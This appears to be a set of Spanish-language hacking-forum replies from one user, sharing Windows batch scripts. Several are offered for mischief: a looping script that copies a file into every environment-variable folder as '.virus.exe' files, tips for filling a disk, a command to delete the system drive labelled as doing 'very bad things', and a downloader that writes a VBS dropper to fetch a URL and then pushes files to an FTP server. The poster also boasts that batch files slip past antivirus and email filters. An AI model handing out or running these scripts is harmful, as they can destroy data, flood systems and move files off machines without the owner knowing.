Mensajes

buehhh lo acabas de conocer y es bueno q lo compartas pero no es nada nuevo xD... solo q no lo conocías xD jajajajajaja   

salu2

[---------------------------------------------------------------------------------]

.... jajajaja como me ha divertido tú pregunta que se copie por todos lados que maldad quieres hacer muchachon jejejejeje bueno aquí te dejo uno que se copia en todas las carpetas que estén como variables de entorno...

:: ejemplo 1:
:: este es inocuo lo único que hace es copiar un archivo de n lugar a otro
:: para que veas el concepto....

echo off
::
echo epale > epale.txt
echo ahora me copiare >> epale.txt
echo en todas tus variables  de entorno>> epale.txt
echo luego con el buscador de windows me buscas y me eliminas >> epale.txt

for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini
::
:ini
for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a
copy epale.txt %k%
cls
goto :EOF


---------------------------------------------------------------------------------

:: ejemplo 2:
:: Este es malévolo copiara una cantidad de archivos por todos lados sin parar
:: Usar con precaución xD

:: debes cambiar la linea "copy... epale.txt" por el nombre del archivo que quieras
:: copiar por todos lados xD
:: ejemplo: archivo.xls en ves de epale.txt

echo off
:bucle
cls
for /f " delims== tokens=1*" %%a in ('set') do set j=%%%%a%% && call :ini
goto bucle
:ini
for /f " delims== tokens=1*" %%a in ('echo %j%') do set k=%%a
copy /y epale.txt %k% && ren %k%\epale.txt %Random%.virus.exe
cls
goto :EOF
:: también con un poco de imaginación puedes hacer otras cosillas
:: 

... y bueno uno mas entendible pero solo tiene dos niveles...

:: Es totalmente inocuo lo único que hace es escribir
:: el archivo epale por todos lados xD
:: le pudes agregar un bucle y un %Random%
:: de esa manera llenara el disco duro de el bendito archivo


:: Primero creamos un archivo en un directorio temporal
echo epale > %temp%\epale.txt

:: esperamos hasta q se cree el achivito
echo %errorlevel%>nul

:: luego este archivo lo asignamos a una variable con el nombre var
set var=%temp%\epale.txt

cd %HomeDrive%\

:: Y con el comado for listamos todas las carpetas q están en c:

FOR /D %%A IN (*) DO set p=\%%A && call :ini
:ini
set j=%HomeDrive%%p%
cd %j%
set y="%j%"
copy %var% %y%

:: luego listamos las carpetas de un nivel superior

FOR /D %%B IN (*) DO set f="%j%%%B" && copy %var% %f%   
cd %HomeDrive%\
goto :EOF

       .... Saludos

   ummmm ... con el comado "runas"

ejemplo:

:: ejemplo 1

runas /user:administrator archivo.exe

:: ejemplo2
runas /user:administrator cmd


:: Luego te pedira que ingresas el password del usuario administrator y listo... XD

Saludos xD...

ummm bueno ya yo lo hice y sin ninguna aplicación externa


http://foro.elhacker.net/scripting/downloader_batch-t210066.0.html;msg1001585#msg1001585


espero que les pueda servir

Salu2

   Saludos amigo mas ó menos xD esto es lo que quieres...

1. Descarga un archivo desde una url
2. Luego subirlo a un FTP
2. No utilizar ninguna aplicacion externa...

jajajajaja seguro y muy fácil...

     Fíjate si lo deseas puedes modificar lo de manera que sea mas automatizada  la parte de login y password del servidor FTP y la dirección web a descargar...

:: ummm con un simple echo off basta por ahora xD

@echo off
cls
echo.
set /p url=Ingrese direccion web a descargar :
if '%url%'=='' goto error
echo.
set /p name=Ingrese Nombre ejemplo (dragon.zip):
if '%name%'=='' goto error
if exist %name% goto fine
echo.
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
ECHO Set aVar = CreateObject("Microsoft.XMLHTTP") > %temp%\dw.vbs
ECHO aVar.Open "GET","%url%",0 >> %temp%\dw.vbs
ECHO aVar.Send() >> %temp%\dw.vbs
ECHO Set sDow = CreateObject("ADODB.Stream") >> %temp%\dw.vbs
ECHO sDow.Mode = 3 >> %temp%\dw.vbs
ECHO sDow.Type = 1 >> %temp%\dw.vbs
ECHO sDow.Open() >> %temp%\dw.vbs
ECHO sDow.Write(aVar.responseBody) >> %temp%\dw.vbs
ECHO sDow.SaveToFile "%name%",2 >> %temp%\dw.vbs
call "%temp%\dw.vbs"
if '%errorlevel%'=='0' goto fine
goto error

:error
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
echo.
echo.
echo ha ocurrido un error la descarga no puede continuar
echo.
echo.
echo presione una tecla para salir
pause >nul
exit
:fine
if exist "%temp%\dw.vbs" del "%temp%\dw.vbs" /f /q
echo.
echo.
echo La descarga ha finalizado con exito
echo.
echo.
echo presione una tecla para continuar
pause >nul
echo.
echo.
set /p url2=Ingrese direccion del servidor FTP :
if '%url2%'=='' goto error

set /p usr=Ingrese Nombre de usuario :
if '%usr%'=='' goto error

set /p pws=Ingrese password :
if '%pws%'=='' goto error
cls

ECHO.open %url2%>%TEMP%.\_FTP
ECHO.%usr%>>%TEMP%.\_FTP
ECHO.%pws%>>%TEMP%.\_FTP
ECHO.send %name% %name%>>%TEMP%.\_FTP
ECHO.quit>>%TEMP%.\_FTP
ftp -i -s:%TEMP%.\_FTP

del %TEMP%.\_FTP
ECHO. Ha finalizado la sección FTP
echo.
pause
GOTO EOF

:EOF {Fin--xD}
::   
:: (c) Copyright No_nick 2008 - all rights reserved (c)

"Si se pude" y les hago una demostración

Código [Seleccionar] Expandir


@ECHO OFF

:: Chequea si le pasaste los tres parametros nesesarios

IF ()==(%3) GOTO noparamet


CLS
ECHO.
ECHO.
ECHO. la direccion a conectar es:  %1
ECHO.
pause

ECHO.open %1>%TEMP%.\_FTP
ECHO.%2>>%TEMP%.\_FTP
ECHO.%3>>%TEMP%.\_FTP

:: especifica la carpeta donde están los archivos
ECHO.cd /pub/pc/drivers/intel/>>%TEMP%.\_FTP

:sigarchiv
IF (%4)==() GOTO nomas
IF EXIST %4 ECHO.put %4>>%TEMP%.\_FTP
SHIFT
GOTO sigarchiv

:nomas

ECHO.quit>>%TEMP%.\_FTP
ftp -i -s:%TEMP%.\_FTP
DEL %TEMP%.\_FTP

ECHO. Ha finalizado la sección FTP
echo.
GOTO EOF

:noparamet
ECHO.
ECHO. nesesitas tres parametros
ECHO.
echo. 213.135.45.251 anonymous cualquiera
ECHO.

:EOF {Fin--xD}






Saludos...

________

         editado pues no especificaste lo que realmente deseas... subir los archivos a un ftp, descargar de un ftp ó simplemente descargar archivos de un site...

disculpa permiteme modificar un poquito tú codigo..

Código [Seleccionar] Expandir


@echo off

set /A contador=0
FOR %%x in (*.php, *.jpg, *.html, *.tif) DO (   echo %%x ) && (
set /A contador=contador+1
)
echo el contador es:  %contador%

echo total: %contador%




lo edito nuevamente pero con lo q exactamente quieres...

Código [Seleccionar] Expandir



echo off
set /A contador=0
set cont=
FOR %%x in (*.php, *.jpg, *.html, *.tif) DO ( set j=%%x ) && call :in
echo.
echo.
goto on
:in
set /A contador=contador+1
echo el contador es: %contador%  el archivo es: %j%
goto :EOF
:on
echo el contador es:  %contador%

echo total: %contador%   









creo que estó es lo que quieres lograr??

Saludos...

     Sip es mas Fácil (eso no te lo discuto) pero te hace "dependiente" de ese programa por que el mismo no genera "codigo" ó un objeto... no solo eso los .bat jamas serán detectados como Virus... incluso puedes enviar BAT por correo y llegaran en un 98 % de los casos al destinatario ahora intenta enviar un ejecutable por correo para que veas la diferencia...

Muy buen tutorial muy completo...

Saludos

  ummmm dime algo que haga este programita  y que NO puedas hacer con bat ó con un simple VBScript incrustado dentro de un bat... ???  ...

jajajaja si quieres hacer cosas muy malas en batch

diskpart /delete %HomeDrive%

Salu2

si se puede....

pero exactamente que es lo que quieres ?

ejemplo si lo que quieres es modificar en varias computadoras un ejecutable para que se abra en modo compatibilidad "le das click derecho a uno y blah blah" luego creas un bat q remplace a todos esos ejecutables con ese q esta en modo compatibilidad...

si sin varios archivos ejecutables igual seleccionas todos los archivos le das propiedades y blah blah... luego creas un bat q reemplace los archivos en las demás maquinas...

PD. tampoco esperes que la pc entienda por fuerza que es lo que tu quieres hace xD....